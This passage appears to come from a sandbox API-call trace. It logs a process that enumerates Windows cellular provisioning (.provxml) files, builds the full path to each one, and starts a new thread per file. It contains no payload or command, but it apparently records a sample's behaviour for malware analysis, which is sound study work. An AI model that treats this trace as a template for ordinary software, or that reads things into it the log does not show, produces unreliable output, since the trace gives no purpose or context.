dwReserved0=0x0, dwReserved1=0x0, cFileName="656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", cAlternateFileName="656__C~1.PRO")) returned 1 [0182.323] wcscmp (_String1="656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.323] wcscmp (_String1="656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02088 [0182.323] wcscpy (in: _Dest=0x4f02088, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.323] wcscat (in: _Dest=0x4f02088, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.323] wcscat (in: _Dest=0x4f02088, _Source="656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" [0182.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0182.324] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917716b4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917716b4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917716b4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="657__C~1.PRO")) returned 1 [0182.324] wcscmp (_String1="657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.324] wcscmp (_String1="657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.324] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054aa0 [0182.324] wcscpy (in: _Dest=0x3054aa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.324] wcscat (in: _Dest=0x3054aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.324] wcscat (in: _Dest=0x3054aa0, _Source="657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0182.325] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917716b4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917716b4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917716b4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="658__C~1.PRO")) returned 1 [0182.325] wcscmp (_String1="658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.325] wcscmp (_String1="658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02ea0 [0182.325] wcscpy (in: _Dest=0x4f02ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.325] wcscat (in: _Dest=0x4f02ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.325] wcscat (in: _Dest=0x4f02ea0, _Source="658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" [0182.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0182.326] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917716b4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917716b4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917716b4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", cAlternateFileName="659__C~1.PRO")) returned 1 [0182.326] wcscmp (_String1="659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.326] wcscmp (_String1="659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f025a8 [0182.326] wcscpy (in: _Dest=0x4f025a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.326] wcscat (in: _Dest=0x4f025a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.326] wcscat (in: _Dest=0x4f025a8, _Source="659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" [0182.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f025a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0182.327] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90306b27, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90306b27, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9032cd93, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", cAlternateFileName="65__CO~1.PRO")) returned 1 [0182.327] wcscmp (_String1="65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.327] wcscmp (_String1="65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x4f033c0 [0182.327] wcscpy (in: _Dest=0x4f033c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.327] wcscat (in: _Dest=0x4f033c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.327] wcscat (in: _Dest=0x4f033c0, _Source="65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" [0182.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f033c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0182.327] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917716b4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917716b4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917716b4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="660__C~1.PRO")) returned 1 [0182.327] wcscmp (_String1="660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.327] wcscmp (_String1="660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f02980 [0182.328] wcscpy (in: _Dest=0x4f02980, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.328] wcscat (in: _Dest=0x4f02980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.328] wcscat (in: _Dest=0x4f02980, _Source="660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\660__Connections_Cellular_Chatr (Canada)_i0$(__MVID)@WAP.provxml" [0182.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0182.328] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="661__C~1.PRO")) returned 1 [0182.328] wcscmp (_String1="661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.328] wcscmp (_String1="661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x30564b8 [0182.328] wcscpy (in: _Dest=0x30564b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.329] wcscat (in: _Dest=0x30564b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.329] wcscat (in: _Dest=0x30564b8, _Source="661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" [0182.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30564b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0182.329] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="662__C~1.PRO")) returned 1 [0182.329] wcscmp (_String1="662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.329] wcscmp (_String1="662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2fa1ff0 [0182.329] wcscpy (in: _Dest=0x2fa1ff0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.329] wcscat (in: _Dest=0x2fa1ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.329] wcscat (in: _Dest=0x2fa1ff0, _Source="662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" [0182.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa1ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0182.330] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="663__C~1.PRO")) returned 1 [0182.330] wcscmp (_String1="663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.330] wcscmp (_String1="663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3056610 [0182.330] wcscpy (in: _Dest=0x3056610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.331] wcscat (in: _Dest=0x3056610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.331] wcscat (in: _Dest=0x3056610, _Source="663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0182.331] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="664__C~1.PRO")) returned 1 [0182.331] wcscmp (_String1="664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.331] wcscmp (_String1="664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30546f8 [0182.331] wcscpy (in: _Dest=0x30546f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.331] wcscat (in: _Dest=0x30546f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.331] wcscat (in: _Dest=0x30546f8, _Source="664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30546f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990 [0182.332] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x36a, dwReserved0=0x0, dwReserved1=0x0, cFileName="665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="665__C~1.PRO")) returned 1 [0182.332] wcscmp (_String1="665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.332] wcscmp (_String1="665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.332] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa22c0 [0182.332] wcscpy (in: _Dest=0x2fa22c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.332] wcscat (in: _Dest=0x2fa22c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.332] wcscat (in: _Dest=0x2fa22c0, _Source="665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa22c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0182.333] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, 